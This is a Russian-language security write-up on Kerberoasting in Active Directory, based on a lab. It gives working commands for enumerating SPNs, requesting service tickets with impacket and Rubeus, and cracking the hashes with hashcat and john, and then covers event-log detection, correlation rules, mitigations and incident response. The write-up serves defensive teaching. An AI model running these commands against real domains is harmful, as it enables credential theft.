Kerberoasting — это атака, использующая протокол Kerberos для сбора хэшей паролей учетных записей пользователей Active Directory со значениями servicePrincipalName (SPN), т. е. учетных записей служб.
Учетная запись пользователя используется в качестве службы, если свойство «ServicePrincipalName» не равно null. Таким образом, для выполнения Kerberoasting необходима только учетная запись домена, которая может запрашивать TGS, то есть любая, поскольку никаких особых привилегий не требуется. Злоумышленник, который может украсть билеты TGS (либо из памяти, либо путем их перехвата прослушивания сетевого трафика), может извлечь хэш пароля учетной записи службы и попытаться провести офлайн-атаку методом полного перебора, чтобы получить незашифрованный пароль.
| Объект атаки | Active Directory |
| Приложения | Rubeus, Impacket |
| Тактика ATT&CK | Credential Access |
| Техника ATT&CK | T1558.003 |
Входные данные:
| Виртуальные машины | Kali linux (192.168.0.114) Windows 10 (192.168.0.111) Windows Server 2019 (192.168.0.113) |
| Учетные записи | usertest — пользователь без административных привилегий user1 — пользователь «ServicePrincipalName» |
| Настройки журналирования | Расширенные настройки аудита windows Sysmon Wireshark |
Данная статья носит исключительно ознакомительный характер и не является руководством к действию.
Этапы атаки
Сбор учетных записей SPN
#Windows
setspn -T <Domain> -Q */*

#Windows PowerShell
Function GetSPN{
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(servicePrincipalName=*)"
$results = $search.Findall()
foreach( $result in $results ) {
$userEntry = $result.GetDirectoryEntry()
Write-host "Object Name = " $userEntry.name -backgroundcolor "yellow" -foregroundcolor "black"
Write-host "DN = " $userEntry.distinguishedName
Write-host "Object Cat. = " $userEntry.objectCategory
Write-host "servicePrincipalNames"
$i=1
foreach( $SPN in $userEntry.servicePrincipalName ) {
Write-host "SPN ${i} =$SPN"
$i+=1}Write-host ''}}GetSPN

Запрос билетов Kerberos (TGS)
#impacket Linux
impacket-GetUserSPNs -request -dc-ip 192.168.0.113 home.local/usertest

#Rubeus Windows
Rubeus.exe kerberoast

Инструменты Kerberoasting обычно запрашивают при выполнении атаки RC4 encryption — это связано с тем, что он слабее и его легче взломать в автономном режиме с помощью таких инструментов, как Hashcat, чем другие алгоритмы шифрования, такие как AES-128 и AES-256. Хэши RC4 (тип 23) , а AES-256 (тип 18). Примеры $krb5tgs$23$* и $krb5tgs$18$*.
Подбор пароля
#Windows
hashcat64.exe -m 13100 c:Hashes.txt rockyou.txt
#Linux
john --wordlist rockyou.txt Hashes.txt --format=krb5tgs
#Linux
hashcat -m 13100 -a 3 Hashes.txt rockyou
Обнаружение
| Коммуникация | Источник | Команда | Место | Информация |
| Windows 10 (192.168.0.111) -> Windows Server 2019 (192.168.0.113) | Source host Windows 10 (192.168.0.111) | Rubeus.exe kerberoast | Event log — Security | Event ID: 4688 New Process Name: C:\test\Rubeus.exe Process Command line: Rubeus.exe kerberoast |
| Event log — Sysmon | Event ID: 1 Image: C:\test\Rubeus.exe OriginalFileName: Rubeus.exe CommandLine: Rubeus.exe kerberoast | |||
| Prefetcher | Расположение C:\Windows\Prefetch\RUBEUS.EXE-D0DC83CC.pf | |||
| Destination host Windows Server 2019 (192.168.0.113) | Rubeus.exe kerberoast | Event log — Security | Event ID: 4769 Account Name: usertest@HOME.LOCAL Service Name: user1 Service ID: HOME\user1 Ticket Encryption Type: 0x17 | |
| Network | Запрос 15 объектов LDAP subschemaSubentry dsServiceName namingContexts defaultNamingContext schemaNamingContext configurationNamingContext rootDomainNamingContext supportedControl supportedLDAPVersion supportedLDAPPolicies supportedSASLMechanisms dnsHostName ldapServiceName serverName supportedCapabilities | |||
| Kali linux (192.168.0.114) -> Windows Server 2019 (192.168.0.113) | Source host Kali linux (192.168.0.114) | impacket-GetUserSPNs -request -dc-ip 192.168.0.113 home.local/usertest | Linux command history | Команда: cat .zsh_history |
| Destination host Windows Server 2019 (192.168.0.113) | impacket-GetUserSPNs -request -dc-ip 192.168.0.113 home.local/usertest | Event log — Security | Event ID: 4768 Ticket Encryption Type: 0x17 | |
| Event ID: 4769 Account Name: usertest@HOME.LOCAL Service Name: user1 Service ID: HOME\user1 Ticket Encryption Type: 0x17 | ||||
| Network | Поисковый LDAP запрос wholeSubtree с параметрами servicePrincipalName=* и objectCategory=computer |
Критерии для правил корреляции
Событие Event ID 4769:
- Обнаруживать Ticket Encryption Type: 0x17 (шифрование RC4), в основном используется значение Ticket Encryption Type: 0x12 (AES). События с Ticket Encryption Type: 0x17 будут редкими, но могут быть ложные срабатывания
- Исключить события, где Service Name: «krbtgt» или имя заканчивается на «$»

# PowerShell — поиск событий с подозрительным параметром шифрования RC4, но где отсутствует в имени сервиса «krbtgt» и имя сервиса не заканчивается на «$»
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} | where {$_.Message -notlike 'krbtgt' -and $_.Message -notlike '*$' -and $_.Message -like "*0x17*"}
Сетевой трафик:


Противодействие
- Первый вариант использовать пароль 25 символов для учетной записи SPN. Второй вариант — https://learn.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview
- Проведите аудит назначения имен SPN привилегированным учетным записям пользователей . Например, пользователи группы администраторов домена не должны использоваться в качестве учетных записей служб, и поэтому им не должны назначаться SPN.
- Создать учетную запись SPN, которая не будет использоваться в организации. Ни один клиент никогда не должен запрашивать билет для этого сервиса. Учетная запись для злоумышленника должна выглядит как настоящая, можно скопировать или создать по аналогии с существующими, например, добавить в привилегированные группы, обязательно нужно убиться, что установлен сильный пароль, больше 25 символов. Дополнительно, обязательно обновляйте время последнего входа в систему(LastLogonTimeStamp), чтобы учетная запись не была заброшенной.
Реагирование
При обнаружении Kerberoasting следует предпринять следующие действия:
- Активируйте процесс реагирования на инциденты и предупредите группу реагирования на инциденты
- Поместите в карантин любые затронутые компьютеры (например, хост, запросивший билеты на обслуживание) для проведения анализа, устранения и восстановления.
- Сбросьте пароль для учетной записи пользователя, выполняющего Kerberoasting.
- Сбросьте пароль для всех сервисных учетных записей, для которых были запрошены билеты TGS. Приоритет должен отдаваться привилегированным учетным записям.
Источники:
https://adsecurity.org/?p=3458
Файлы логов:
- Impacker+Rubeus.evtx — события Windows Server 2019 (192.168.0.113)
- Impacker.pcap и rubeus.pcap — сетевой трафик Windows Server 2019 (192.168.0.113)
Запуск программ:
- 18.04.2023 в 16:11:03 запуск программы с аргументами impacket-GetUserSPNs -request -dc-ip 192.168.0.113 home.local/usertest
- 18.04.2023 в 16:12:24 запуск программы с аргументами Rubeus.exe kerberoast



